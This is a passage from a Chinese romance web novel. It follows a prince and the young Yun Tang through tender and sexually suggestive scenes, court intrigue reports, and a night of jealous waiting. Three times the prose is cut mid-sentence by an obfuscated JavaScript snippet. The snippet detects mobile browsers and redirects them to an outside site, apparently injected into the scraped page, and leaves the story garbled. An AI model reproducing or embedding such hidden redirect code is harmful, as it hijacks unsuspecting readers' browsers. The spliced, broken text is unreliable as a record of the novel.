燕元明的唇-瓣温热柔软,轻轻含-住云棠的下-唇,细致地吮吻。 舌尖温柔地撬开他的齿关,探入那片湿润的口腔。 他吻得很慢,很用心,像是在品尝稀世珍馐,每一个辗转都带着无限的怜爱。 云棠起初还有些僵硬,但很快便在这样温柔的攻势下软化下来。 他闭上眼,手臂环上燕元明的脖颈,生涩地回应着。 晨光透过锦帐的缝隙洒在两人交叠的身影上,空气中弥漫着暖意和亲昵的气息。 良久,燕元明才稍稍退开,两人的额头相抵,呼吸交融。 云棠的唇-瓣被吻得水润嫣红,眼中蒙着一层迷蒙的水雾,整个人看起来柔软得不可思议。 燕元明拇指轻轻摩挲云棠泛红的脸颊,哑声说,“以后每日都要。” 云棠羞赧地点头,将脸埋进他颈窝,小声应道:“……嗯。” 燕元明低笑,胸腔的震动传到云棠身上。 他又在云棠发顶落下一个吻,这才起身下榻,从妆台边的矮柜里取出一个青玉小盒。 “药膏得接着擦。”他坐回床边,执起云棠的手腕,打开盒盖。 清凉的草药气息弥漫开来,混着他身上凛冽的松雪香,竟有种妥帖感。 云棠乖顺地任由他动作,目光却黏在他脸上,从微蹙的眉心到专注的眉眼,再到抿成一条直线的唇。 “王爷真好看。”云棠忽然小声说。 燕元明动作一顿,抬眼看他。 云棠说完就后悔了,耳尖通红,结结巴巴想找补:“我就是……” 话未说完,燕元明已低头,再次吻住了他。 吻得更深,带着笑意和宠溺,直到云棠气喘吁吁才放开。 “棠儿更好看。”他在云棠耳边低声说,呼吸灼热,“看一辈子都看不够。” 云棠整张脸都烧起来,抑制不住嘴角上扬的弧度。 他将发烫的脸颊埋进燕元明肩头,很小声地“嗯”了一声,心里像是被蜜糖填满了。 这时,殿外传来极轻的叩门声。 “王爷,殿下,热水备好了。”是侍女素月的声音,恭敬而克制。 燕元明为云棠拢好寝衣的衣襟,又在他唇角偷了一个吻,这才扬声道:“进来。” 门被轻轻推开,四个侍女鱼贯而入,捧着铜盆、巾帕、漱盂并两套崭新的衣袍。 她们训练有素,眉眼低垂,动作轻悄得几乎听不见声响。 对榻上相拥的两人视若无睹,只安静地将物什摆在屏风后的架子上。 待侍女退下,燕元明才松开云棠,却在他起身时又拉回来,在他唇上轻啄一下:“今日天冷,多穿些。” 云棠红着脸点头,赤足下榻。 绒毯柔软厚实,踩上去暖融融的。 他走到屏风后,就着热水净面漱口,又拿起那套为他准备的衣裳。 月白色的云纹锦袍,领口袖边镶着银狐毛,触-手生温,是按他的尺寸新制的。 他换好衣裳出来时,燕元明已穿戴整齐。 玄色亲王常服,腰间束着墨玉革带,衬得身形挺拔如松。 他正站在窗边,手中拿着一封刚送来的文书,闻声回头,目光在云棠身上停留片刻。 “合适么?”他问,放下文书走过来。 云棠低头看了看衣袖,点头:“很合身。” “那就好。”燕元明走到他面前,替他理了理领口的狐毛,顺势在他额间又落下一个吻,“早膳备在暖阁,有你爱吃的栗粉糕。” --- 用过早膳,燕元明去了前院书房处理政务。 云棠本想跟去,却被按在暖阁的软榻上。 “外头冷,你就在这儿歇着。”燕元明将一册游记并一个手炉塞进他怀里,又俯身在他唇上轻吻。 “若是无聊,让素月唤府里的琴师来弹曲子听。” 云棠抱着手炉,仰脸看他,眼里满是依赖:“我想陪王爷。” 燕元明屈指刮了刮他的鼻尖,又忍不住低头啄吻他的唇:“我去去就回,晌午带你逛园子,府里的梅林该开了。” 这话哄得云棠眼睛一亮,这才乖乖点头,却在燕元明转身时拉住了他的衣袖。 “王爷……”他小声唤。 燕元明回头,挑眉:“嗯?” 云棠鼓起勇气,仰起脸,闭上眼。 那姿态,分明是在索吻。 燕元明眼底笑意加深,从善如流地低头,给了他一个绵长温柔的吻。 “乖。”他揉揉云棠的头发,这才真的离开。 燕元明离开后,暖阁里安静下来。 炭盆里的银丝炭噼啪轻响,窗外偶尔有仆从经过的脚步声,压得很低,像是生怕惊扰了这里。 云棠起初还认真翻了几页书,可昨夜睡得并不安稳,此刻暖意一熏,眼皮渐渐沉重起来。 他蜷在榻上,怀里抱着燕元明塞给他的那个手炉。 炉套是玄色云锦,绣着暗金的螭纹,是燕元明平日用的。 鼻尖萦绕着淡淡的松雪气息,不知不觉便睡了过去。 这一觉睡得极沉。 再醒来时,是被隐隐的说话声吵醒的。 云棠迷迷糊糊睁开眼,发现自己身上多了条厚厚的绒毯,手炉也还暖着。 声音是从暖阁外传来的,隔着门板,听不真切。 他坐起身,揉了揉眼睛,正想下榻去寻燕元明,门被轻轻推开了。 进来的是个五十来岁的男子,身着深褐色锦袍,面容和善,身后跟着两个捧着厚厚册子的小厮。 见到云棠,男子立刻躬身行礼:“老奴王甫,是府里的内务总管,惊扰殿下休息了。” 云棠忙道:“无妨,可是有事?” 王甫笑得恭敬:“回殿下,年关将至,府里照例要为主子们裁制新衣,王爷吩咐,殿下的衣裳也得备上几套,老奴特请了锦绣坊的师傅来,不知殿下现下可得空量尺寸?” 原来是为这个。 云棠点头:“有劳王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261352|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总管安排。” 王甫侧身让开:“师傅已在书房外候着了,王爷说,殿下若是醒了,直接过去便是。” 云棠整理了下衣袍,跟着王甫出了暖阁。 穿过两道回廊,便到了燕元明处理公务的书房。 门虚掩着,里头传出低低的交谈声。 王甫在门外站定,扬声禀报:“王爷,殿下到了。” “进来。”是燕元明的声音。 云棠推门而入。 书房里暖意融融,燕元明坐在紫檀木书案后,手中握着朱笔,案头堆着些文书。 而书案前,站着三个人。 一位头发花白,精神矍铄的老者,两个捧着绸缎样本的年轻学徒。 见他进来,燕元明放下笔,目光在他还有些睡意的脸上扫过,唇角微扬:“睡好了?” 云棠有些不好意思地点头,走到书案旁。 那老师傅的目光落在云棠身上,眼中闪过一丝惊艳,随即极快地打量了他的衣着气度。 又见他站在燕元明身侧这般亲近自然,心下便有了计较。 他上前一步,脸上堆起恰到好处的笑意,对着云棠便是深深一揖: “老朽锦绣坊陈三,给王妃请安,年关添新衣是喜事,老朽定竭尽全力,为王妃裁制出最合体,最时兴的衣裳。” “王妃”二字一出,书房里骤然一静。 云棠整个人僵在原地,脸颊“轰”地烧了起来。 他张了张嘴,想解释,可脑子一片空白,一个字都说不出,只能慌乱地看向燕元明,眼神里满是窘迫的求救。 两个小学徒也吓呆了,捧着绸缎样本的手都在抖。 王甫垂着眼,屏息静气。 唯有燕元明,手中朱笔在指间转了个圈,抬起眼看向那老师傅。 他脸上没什么表情,眼底掠过一丝极淡的,难以捉摸的悦色。 静默了几息,就在云棠快要羞窘得夺门而逃时,他才缓缓开口,声音平静无波: “是七殿下。” 陈师傅一愣,随即意识到自己会错了意,脸色瞬间煞白,“扑通”一声跪倒在地:“老朽眼拙!胡言乱语!请王爷恕罪!请殿下恕罪!” 他身后两个学徒也跟着跪下,瑟瑟发-抖。 云棠手足无措,想让人起来,又不知该说什么,只能无意识地攥紧了袖口。 燕元明瞥了眼云棠通红的脸,摆了摆手:“罢了,起来吧。” 陈师傅如蒙大赦,颤巍巍爬起来,再不敢乱看乱说,只垂着头连声道谢。 燕元明不再看他,转向云棠,语气自然:“年节新衣,不可马虎,你去年的尺寸未必合宜,需重新量过。” 云棠晕乎乎地点头。 燕元明对陈师傅道:“留下锦缎样本,你们先退下,尺寸本王知晓,稍后告知你。” 陈师傅虽觉诧异,却不敢多问,恭敬应下,示意学徒将带来的几十匹锦缎样本在旁边的长案上一一铺开,便躬身退了出去。 王甫也识趣地带着人离开了,轻轻带上房门。 书房里只剩下两人。 云棠脸上的红潮还未退去,站在书案旁,手指无意识地绞着袖口。 那声“王妃”像颗投入心湖的石子,激起圈圈涟漪,羞-耻之余,竟有一丝隐秘的甜,细细密密地渗出来。 燕元明起身,走到他面前。 “还羞?”他低头,看进云棠湿-漉-漉的眼睛里,拇指轻轻抚过他泛红的脸颊。 云棠摇头,又点头,最后自暴自弃地把脸埋进他胸-前,闷声说:“……他们怎么会那样想。” 燕元明低笑,胸腔震动:“怎么想?” “就、就是……”云棠说不出口,耳尖红得剔透。 “觉得你是本王的人?”燕元明替他說了,手指抚上他后颈,不轻不重地揉-捏着那块细腻的肌肤,“他们没想错。” 话音落下,他低头吻住了云棠的唇。 带着安抚的意味,温柔地舔舐过他柔软的唇-瓣,细细描摹唇形,然后深-入,与他舌尖缠绵。 云棠起初还有些羞赧,很快便沉溺其中,手臂环上燕元明的脖颈,仰头回应。 良久,燕元明才退开些,两人额头相抵,呼吸都有些乱。 “我的棠儿,”他哑声说,又轻啄了一下云棠的唇角,“迟早会是。” 云棠心头一颤,将脸埋得更深。 18. 第 18 章 燕元明不再逗他,牵起他的手走到那排锦缎前:“看看,喜欢哪些花样?” 锦缎在窗外雪光映照下流光溢彩。 云棠勉强按下心绪,认真看去。 有织金妆花的,有暗纹提花的,有素净的云锦,也有鲜艳的蜀锦。 他看了一圈,指尖落在一匹月白底绣银竹纹的缎子上:“这个好看。” “太素。”燕元明拿起另一匹雨过天青色绣暗金云螭纹的,低头在云棠耳边问,“这个衬你,喜欢么?” 云棠被他温热的气息弄得耳根发痒,缩了缩脖子,点头:“那就这个。” 燕元明却又拿起几匹。 一匹海棠红绣折枝梅的,一匹浅碧色绣蝶恋花的,还有一匹正红底绣金色并蒂莲的。 他将这些缎子都放到一边,淡淡道:“这些都要。” 云棠看着那匹正红色,脸颊又有些发热。 并蒂莲……这花样未免太过直白。 选好了料子,燕元明走到书案边,从抽屉里取出一卷软尺。 “过来。”他朝云棠伸手。 云棠乖乖走过去,站定。 燕元明将炭盆挪得更近些,又将自己身上的玄色大氅解下,披在云棠肩上。 “屋里虽暖,站着不动久了也会冷。”他边说,边绕到云棠身后,在他后颈落下一个轻吻,这才拿起软尺。 软尺贴上肩背时,云棠轻轻一颤。 燕元明的动作很专业,指尖捏着软尺两端,从背后虚虚环住他。 可那气息,温热的,带着松雪香的呼吸,就喷在他的耳后,若有似无地撩拨着敏感的肌肤。 “肩宽,一尺一寸。”燕元明低声报数,声音离得太近,震得云棠耳膜发麻。 报完数,他的唇若有似无地擦过云棠的耳廓,“棠儿太瘦了。” 云棠被他弄得耳根酥麻,小声说:“……一直这样的。” “得好好养。”燕元明说着,又在他耳尖轻吻一下,这才转到身前,执起他的左臂。 软尺从肩头量到腕骨。 可那温热,略带薄茧的掌心,却顺着他的小臂内-侧缓缓滑下。 指腹在他腕心最细嫩的那处皮肤上,不轻不重地摩挲了一下。 云棠手臂微软,指尖蜷缩起来。 燕元明恍若未觉,又执起他右臂,同样量过,同样用掌心抚过。 每量完一处,他都会低头,在云棠的手腕或手背上落下一个吻,像是在奖励他的乖顺。 然后他转到云棠面前,软尺环过他的胸口。 这一次,燕元明的手臂从背后环过来,几乎是将云棠半拢进了怀里。 云棠的后背紧贴着他坚实的胸膛,感觉到他沉稳的心跳,透过衣料,一下下敲在自己脊骨上。 “吸气。”燕元明低声说,气息拂过他耳尖。 云棠乖乖吸气,胸廓微微起伏。 软尺勒出一圈纤细的轮廓,月白色的锦袍下,那截腰身细得不盈一握。 燕元明的动作慢了下来。 他维持着环抱的姿势,低头,唇贴上云棠的耳廓,声音低哑:“腰细成这样。” 云棠脸一红,身体在他怀里轻颤:“王爷……喜欢吗?” “嗯。”燕元明应了声,终于松开软尺,却未完全退开。 他垂眸看着手中软尺上的刻度,报出一个数字:“一尺八寸半。” 顿了顿,他将软尺放在一旁,温热的手掌直接贴上了云棠的腰侧。 “软尺不够准。”他声音平静,仿佛在陈述事实,“得用手量。” 话音落下,他的手已掐握住那截细腰。 隔着锦袍,云棠仍能感觉到他掌心的温度,以及手指的力道。 不重,带着不容置疑的掌控感。 手指正好按在腰侧凹陷处,那里是云棠极敏感的位置,被这样按住揉压,酥麻感瞬间窜遍全身。 “王、王爷……”云棠腿一软,身体不受控制地往后靠,完全陷进燕元明怀里。 燕元明顺势收紧手臂,将他牢牢锁在胸-前。 手掌仍贴在他腰上,指腹在那处腰窝反复流连,时轻时重地按压揉弄。 他低头,吻了吻云棠泛红的耳尖,声音压得极低:“这里,怎么生得这样细。” 云棠被他揉得浑身发软,眼泛水光,几乎站不住,只能攀着他的手臂,声音发颤:“不、不知道……” 燕元明低笑,又低头去寻他的唇。 吻得又深又重,带着明显的情-欲,舌尖肆意在他口中扫荡,吮吸着他的柔软。 云棠被绵长的吻扰乱了呼吸,不得不仰首承受。 身躯渐渐失了力气,如同在暖阳下悄然融化的春雪。 吻了好一会儿,燕元明才略略退开些许,掌心轻轻抚过他的背。 停在他腰后,托住他绵软下滑的身形。 直接用手丈量。 …… 云棠浑身剧颤,整张脸瞬间红透,羞-耻得脚趾都蜷缩起来。 他想躲,可身体被牢牢锁住,动弹不得,只能将滚烫的脸死死埋进燕元明肩头,发出细弱如猫呜的呜咽。 燕元明恍若未觉,掌心缓缓游移,细细琢磨,以指尖描摹一幅只有自己知晓的地形。 他的呼吸明显重了,喉结滚动,贴在他耳边的嗓音沙哑得撩-人: “这里……也需量得仔细些。” 话音未落,云棠感觉到他的手顺着中线的衣料…… 那动作带着鲜明的暗示意味…… 云棠羞得快要晕过去,身体却背叛了意志。 …… 这一紧一松间的微妙反应,倒更像是一种无声的纵容与邀请。 燕元明的呼吸陡然粗重起来。 他将云棠转过来面对面,另一只手捧住他绯-红的脸颊,低头便狠狠吻了上去。 这个吻炽热而贪-婪,带着压抑已久的欲-望。 他撬开云棠的唇齿,长驱直入,舔舐过每一寸柔软,吮吸着他的舌尖,像是要将他整个吞吃入腹。 云棠被吻得浑身发软,仰着头承受,手臂环上他的脖颈,生涩而努力地回应,发出细碎的呜咽。 吻到两人都气喘吁吁,燕元明才稍稍退开,却仍流连地轻啄云棠红肿的唇-瓣。 两人额头相抵,呼吸灼热地交融。 云棠的嘴唇被吻得水润嫣红,眼中蒙着一层迷离水雾,整张脸艳若桃花,美得惊心动魄。 燕元明的目光深暗如夜,手指仍流连在他臀上,哑声问:“可量好了?” 云棠哪里还说得出话,只将脸埋进他颈窝,细微地点了点头。 燕元明低笑,又低头吻了吻他的发顶,手掌这才顺着缓缓下滑。 他正要进一步动作,云棠却猛地并拢,夹住了他的手腕。 “别……”云棠的声音带着泣音和巨大的羞-耻,“那里……不行……” 他的身体僵硬得厉害。 …… 太羞-耻了。 如果被王爷发现…… 云棠不敢想下去,只能死死夹着腿,眼泪在眼眶里打转。 燕元明动作顿住。 眼底翻涌的欲念缓缓压下,他收回手,转而将人紧紧搂进怀里。 “好,不量了。”他在云棠发顶落下一个吻,声音恢复了平日的沉稳,只是还残留着些许沙哑,“吓着棠儿了?” 云棠在他怀里摇头,声音闷闷的:“没有……是、是我自己……” 他说不下去,只能将脸更深地埋进去,仿佛这样就能藏住那不堪的秘密。 燕元明没再追问,只一下下轻抚他的背脊,又低头吻他的额头、眼角,最后轻轻含-住他柔软的唇-瓣,温柔地吮吻,用亲吻安抚他的不安。 待到云棠身体渐渐放松,他才将人打横抱起,走到窗边的软榻上坐下,让云棠侧坐在自己腿上,用大氅将他严严实实裹好。 云棠安静地蜷在他怀里,手指无意识地抠着他衣襟上的螭纹绣线。 方才的旖旎暧昧还未完全散去,混合着未尽的羞-耻,在心头搅成一团。 燕元明低头看他,见他睫毛湿-漉-漉的,鼻尖泛红,一副可怜又可爱的模样,心头微软。 他吻了吻云棠的额头,又顺着鼻梁往下,轻轻吻了吻他的鼻尖,最后落在唇上。 吻很轻,很温柔,不带情-欲,只有纯粹的怜爱。 “新衣三日后能送来。”他在云棠耳边温声说,唇-瓣若有似无地擦过他的耳廓,“年节时穿那套海棠红的,可好?” 云棠点头,顿了顿,小声问:“那匹正红色的……” “留着。”燕元明手指轻轻梳理着他鬓边微乱的发丝,又低头在他唇角吻了一下,“总有穿得上的时候。” 这话意味深长。 云棠心头一跳,不敢深想,只将脸贴在他胸-前,听着那沉稳有力的心跳,渐渐平静下来。 窗外不知何时又飘起了细雪。 纷纷扬扬的雪花落在庭院的青石板上,很快积起薄薄一层。 廊下偶有仆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261353|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从经过,脚步声轻悄,衬得书房里越发静谧温暖。 燕元明就这样抱着云棠,有一搭没一搭地抚着他的背,时不时低头吻他的发顶、额头,或是捏捏他泛红的耳垂,再顺势轻吻一下。 云棠起初还害羞,后来便也习惯了,在他怀里调整了个更舒服的姿势,仰起脸,主动去寻他的唇。 燕元明眼底笑意加深,欣然接受了这个邀请。 他含-住云棠柔软的唇-瓣,温柔地吮吻,舌尖轻扫过他的齿列,与他缠绵。 这个吻绵长而甜蜜,只有恋人之间亲昵的温存。 吻到后来,云棠有些喘不过气,轻轻推了推他。 燕元明这才退开,却仍流连地在他唇上轻啄几下,低笑道:“棠儿学坏了。” 云棠脸红,将脸埋进他颈窝,小声嘟囔:“……是王爷教的。” 燕元明低笑出声,胸腔震动,又在他发顶落下一连串细碎的吻:“对,是我教的,我的棠儿,什么都得我亲自教。” 两人就这样相拥着,在暖意融融的书房里,交换着一个又一个温柔的吻。 窗外雪落无声,时间仿佛在这一刻变得缓慢而绵长。 不知过了多久,书房外传来极轻的叩门声。 “王爷。”是凌墨的声音。 燕元明动作微顿,唇还贴在云棠额头上,扬声道:“进。” 凌墨推门而入,见到榻上相拥的两人,脸上没有丝毫异色,只垂首恭敬道:“王爷,北疆有消息传来。” 燕元明“嗯”了声,却没有立刻放开云棠,只低头在他唇上又轻吻了一下,这才淡淡道:“说。” 凌墨快速禀报:“三殿下那边,虽被圈禁,但其母族安国公府这几日动作频繁,暗中联络了数位朝臣,赵珩则多次出入安国公府,似在密谋什么。另外,太后宫里的掌事太监前日去了一趟锦绣坊,询问寿宴礼服事宜时,特意打听了七殿下是否会出席。” 云棠身体微微一僵。 燕元明手臂收得更紧,在他额间印下一个安抚的吻,目光却冷了下来:“继续盯着,寿宴前后,清莲苑和王府的守卫再加三成,但凡有可疑之人接近,不必回禀,直接拿下。” “是。”凌墨应下,又递上一封密函,“还有一事,北狄王子乌兰台半月前秘密离京,行踪不明,边关探子报,他往南去了。” 燕元明接过密函,扫了一眼,眼底寒光乍现:“江南。” “是。王爷,可要加派江南的人手?” “不必。”燕元明将密函丢进炭盆,火舌瞬间吞没了纸张,他低头吻了吻云棠的发顶,“本王心里有数,你退下吧。” 凌墨躬身退出,轻轻带上门。 书房里重归寂静。 炭盆里的火苗跳跃着,将两人的影子投在墙壁上,交叠成一幅亲密的画卷。 云棠从燕元明怀里抬起头,眼中带着担忧:“王爷,是不是……又要有麻烦?” 燕元明低头看他,目光柔和下来,吻了吻他的眼角:“不怕。” 他的唇移到云棠唇上,轻轻含吻,“有我在,谁也伤不了你。” 他抚上云棠的脸颊,拇指轻轻摩挲那片细腻肌肤,又低头与他交换了一个绵长的吻。 吻毕,他抵着云棠的额头,温声道:“年后带你去江南走走,那边暖和,对你的身子好。” 云棠眼睛亮了亮:“真的?” “嗯。”燕元明吻了吻他的鼻尖,“所以棠儿要好好养着,把身子养好了,我们便去。” 说着,他又低头去寻云棠的唇。 云棠闭上眼,全心回应,直到两人都气息不稳才分开。 “王爷说话要算话。”云棠小声说,仰起脸又索了一个吻。 燕元明低笑,欣然给予:“自然算话。” 云棠用力点头,将脸重新埋进他怀里,嘴角不自觉扬起。 窗外的雪渐渐大了。 鹅毛般的雪花漫天飞舞,将庭院妆点成一片素白。 书房里暖意如春,两人相拥的身影映在窗纸上,模糊而温暖。 他们时不时低头亲吻,交换着温柔的爱意,仿佛外界的风雪与阴谋都遥不可及。 这一刻,云棠只想时间永远停驻在此处,停在这个充满松雪气息的怀抱里,停在这些温柔缱绻的亲吻里。 他在燕元明怀里蹭了蹭,寻了个更舒服的位置,仰起脸,主动吻上燕元明的唇。 燕元明眼底笑意加深,扣住他的后脑,温柔而深-入地回应。 窗外风雪呼啸,室内春意融融。 19. 第 19 章 腊月的夜,总是来得格外早。 才过申时,天色便已沉沉压下。 铅灰色的云层厚重地堆叠在天际,将最后一点残阳余晖也吞噬殆尽。 寒风卷着细碎的雪沫,从归阙居的檐角呼啸而过,发出呜呜的声响。 云棠独自坐在软榻上,手中握着一卷书,一个字也看不进去。 目光怔怔地落在窗外庭院里。 那几株老梅白日里还只是零星几点花苞。 此刻在暮色中却已看不真切,只剩模糊的暗影在风雪中摇曳。 他的手指无意识摩挲着书页的边缘,将那纸张揉出了细微的褶皱。 自己却浑然不觉。 殿内的炭火烧得很旺,地龙也烧得暖融。 可云棠却总觉得有股寒意从骨头缝里透出来。 他拢了拢身上那件银狐毛滚边的月白锦袍。 燕元明是午后出的门。 临行前,他替云棠拢了拢衣襟,又俯身在他额间落下一个温热的吻。 声音是一贯的沉稳: “有要事需出府处理,晚些回来,不必等我,早些歇息。” 云棠乖顺地点头,想问他去何处,何时归,话到嘴边又咽了回去。 他知道燕元明身份特殊,非他能过问,便只轻声说了句“王爷路上当心”。 手指悄悄攥紧了他的袖角,片刻后才松开。 可这一等,便从午后等到了黄昏,从黄昏等到了入夜。 窗外的天色由灰转黛,再由黛转黑,沉入浓得化不开的墨色。 廊下的灯笼一盏盏亮起,在风雪中晕开昏黄,却照不进云棠空落落的心里。 晚膳是素月带着人送进来的,八样精致小菜,都是云棠平日爱吃的。 素布揭开时,热气蒸腾,香气扑鼻。 芙蓉虾仁、清炖乳鸽、胭脂鹅脯、蟹粉豆腐……还有一盅炖得奶白的鲫鱼汤。 “殿下,王爷出门前特意吩咐厨房,说您这几日胃口不好,让做些清淡可口的。” 素月一边布菜,一边轻声细语。 “这鲫鱼汤炖了两个时辰,最是温补,您多用些。” 云棠拿起玉箸,夹了一片鹅脯送入口中。 鹅肉酥烂入味,胭脂色的酱汁咸甜适口,是他素日里最喜欢的味道。 可今日吃在嘴里,却只觉得味同嚼蜡,勉强咀嚼了几下,竟有些难以下咽。 他又舀了一勺豆腐。 嫩滑的豆腐裹着金黄的蟹粉,本该鲜香满口,可此刻尝来却只觉得油腻。 那盅鲫鱼汤更是只喝了半口,便放下了汤匙。 “殿下再用些吧?”素月担忧地看着他几乎未动的碗碟。 “可是菜不合口味?奴婢让厨房重新做些……” “不必。”云棠摇摇头,勉强笑了笑,“我不饿,撤了吧。” 素月欲言又止,终是没说什么,默默收拾了碗碟。 临出门前,她又回头看了云棠一眼。 那少年独自坐在偌大的膳桌前,身影单薄。 眼神空茫地望着窗外,不知在想些什么。 殿门轻轻合上,偌大的寝殿便只剩下云棠一人。 炭火噼啪,烛影摇晃。 他起初还强打精神,拿起那卷没看完的《南华经》,让心神沉入字里行间。 “北冥有鱼,其名为鲲……” 可目光总是不自觉地飘向殿门。 耳朵也竖起来,捕捉着外头的每一点声响。 风声、雪声、更漏声,甚至是远处隐约传来的仆从脚步声。 每一次有脚步声靠近,他的心便提起来。 手指无意识地攥紧书页,呼吸都放轻了。 待那脚步声又渐渐远去,心便沉沉落下。 手指松开时,书页已被捏出了深深的折痕。 如此反复几次,书是半个字也读不进了。 只觉心里空落落的,像是缺了一块,冷风呼呼地往里灌。 戌时末,素月又进来了一趟,是送安神汤。 “殿下,夜深了,可要奴婢伺-候洗漱歇息?” 素月将温热的汤碗放在云棠手边,轻声问。 她看着云棠眼下淡淡的青影,心里暗暗叹了口气。 云棠看了眼窗外浓得化不开的夜色,点了点头。 热水是早就备好的,氤氲着白汽。 水温恰到好处,带着淡淡的草药香气,是燕元明特意吩咐调制的安神配方。 里头的茯苓、远志、合-欢皮,都是宁心安神的药材。 可再暖的水,也暖不进心里那片空茫。 云棠将自己沉入水中,温热的水漫过肩膀,蒸腾的热气熏得他脸颊微红。 他洗得很慢,指尖划过水面,荡开一圈圈涟漪。 屏风上搭着的那件玄色寝衣,是燕元明换下的,残留着独有的松雪冷香。 那香气凛冽又干净,像是雪后初霁时山巅松林的气息。 云棠盯着那件衣裳看了许久,眼神渐渐恍惚。 直到水都有些凉了,他才恍然回神。 素月忙上前添了些热水,又伺-候他出浴。 换上干净的月白寝衣,素月替他擦干长发。 那一头青丝如瀑,在烛光下泛着绸缎般的光泽。 素月取来香膏,仔细抹在发梢。 那是用桂花油和首乌调制的,养发润泽,香气清雅。 一切收拾妥当,已是亥时正。 “殿下早些安寝。”素月替他掖好被角,又将床帐放下半边。 这才吹熄了几盏远处的灯,只留床头一盏小烛台,躬身退了出去。 殿内重归寂静。 云棠躺在宽大的床榻上,锦被柔软厚实,却总觉得少了些什么。 他翻了个身,将脸埋进燕元明常睡的那只枕头。 松雪气息已很淡了,需要很用力地嗅,才能捕捉到一丝残留的痕迹。 他像只寻找安全感的小兽,蜷缩起来,抱着那只枕头。 更漏滴答,时间一点一点流逝。 子时了。 燕元明还没有回来。 云棠终于躺不住,掀被起身。 赤足踩在温热的木地板上,走到窗边。 窗外风雪似乎小了些。 月光从云层缝隙里漏出些许,照在庭院积雪上,泛着清冷的银光。 那光冷冷地洒在他脸上,映得他面色愈发苍白。 他站了许久,直到脚底传来凉意,才转身回到床边。 口渴得厉害,便披了件外袍,轻手轻脚走到外间去倒水。 茶壶里的水还是温的。 云棠倒了半杯,慢慢啜饮。 温水滑过干涩的喉咙,却解不了心里的焦渴。 他握着茶杯,站在昏暗的外间,听着外头呼啸的风声。 心里那点不安像雪球般越滚越大。 外头廊下传来极轻的脚步声。 是素月。 她见内间还亮着微光,便轻轻叩了叩门:“殿下还未歇息?” 云棠犹豫片刻,开了门。 素月见他只披着外袍,赤足站在地上,忙道:“殿下快回床上,仔细着凉。” 说着便要扶他。 云棠却摇了摇头,低声问:“素月……王爷他,可有说何时回来?” 素月面露难色,迟疑道: “王爷出门前只吩咐要好生伺-候殿下,并未说归期……” 她看着云棠苍白憔悴的脸色,心下不忍,又压低声音补了一句。 “不过奴婢方才去前院取东西,听当值的李护卫说,王爷午后便往停云水榭去了。” “停云水榭?”云棠一怔。 素月点点头,声音压得更低: “是朱雀大街东头,临着镜湖的那处……风雅之地。” 她说得很含蓄。 “听说里头极尽雅致,往来皆是达官显贵、文人墨客。” “里头的姑娘……不,应当称先生,个个才貌双全,琴棋书画样样精通,寻常人连门都进不去。” 素月说着,小心地观察云棠的脸色。 “王爷这般人物,去那儿应酬也是常事……殿下不必多虑,王爷心里定是有分寸的。” 她说得委婉,可字字句句都像针一样扎进云棠心里。 停云水榭。 他听说过这个地方,不止一次。 还在宫里时,便听那些宫人私下议论,说那是京城最风雅的销金窟。 里头的先生才情过人,善解人意,能让贵人流连忘返。 那时他只觉得是个与己无关的遥远所在。 像戏文里唱的才子佳人故事,风月无边,隔着一层纱。 却从未想过,有一天会与自己在意的人产生关联。 原来……所谓的要事,便是去那种地方吗? 心口像是被钝器狠狠砸了一下,闷闷地疼。 随即那疼痛蔓延开来,细细密密的,像是无数根针在扎。 眼眶发热,视线迅速模糊起来。 他扶住门框,手指用力到指节泛白,才勉强站稳。 “殿下?”素月担忧地上前。 云棠摆摆手,声音低哑:“我没事……你下去吧。” 素月欲言又止,行礼退下。 云棠关上门,背靠着冰凉的门板,缓缓滑坐在地上。 手中茶杯早已不知何时掉落,半杯水洒在衣袍下摆,浸-湿了一片。 凉意透过布料渗进来,他却浑然不觉。 原来如此。 那些“先生”……定然都是极出色的人物吧? 琴棋书画,诗词歌赋,样样都拿得出手。 谈笑风生,妙语连珠,能陪着吟诗作对,也能陪着饮酒赏月。 不像他,除了这张脸,一无是处。 沉闷,寡言,无趣,连句漂亮话都不会说。 王爷他是不是也觉得…… 与那些风雅人相处,比对着自己这个沉闷无趣的人要有意思得多? 这个念头一旦生出,便像毒藤疯狂滋长,缠绕得他几乎窒息。 他蜷缩起来,将自己团成一团,脸埋在膝盖里,肩膀轻轻颤-抖。 眼泪夺眶而出,无声滑落,浸-湿了衣襟。 他不想哭的,可控制不住。 委屈,难过,还有说不清道不明的自惭形秽,像潮水汹涌而来,将他淹没。 他想起燕元明温柔的眼神,想起他的吻…… 那些画面越是美好,此刻就越是刺心。 是不是那些温柔,那些宠溺,也不过是他一时兴起? 是不是在王爷眼里,自己只是个可以随意逗弄,需要庇护的玩意儿。 与停云水榭里那些真正能与他谈笑风生的人,根本不可同日而语? 这个想法让他浑身发冷,冷得牙齿都在打颤。 不知在地上坐了多久,直到四肢都僵硬发麻,他才扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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静默在黑暗中蔓延。 只有炭火噼啪的声响,还有窗外远远传来,若有似无的更鼓声。 几息之后,燕元明松了手臂,将他轻轻转过来面对自己。 烛火已经燃了大半,烛泪堆积如小山。 借着床头小烛台微弱的光,他看清了云棠的脸。 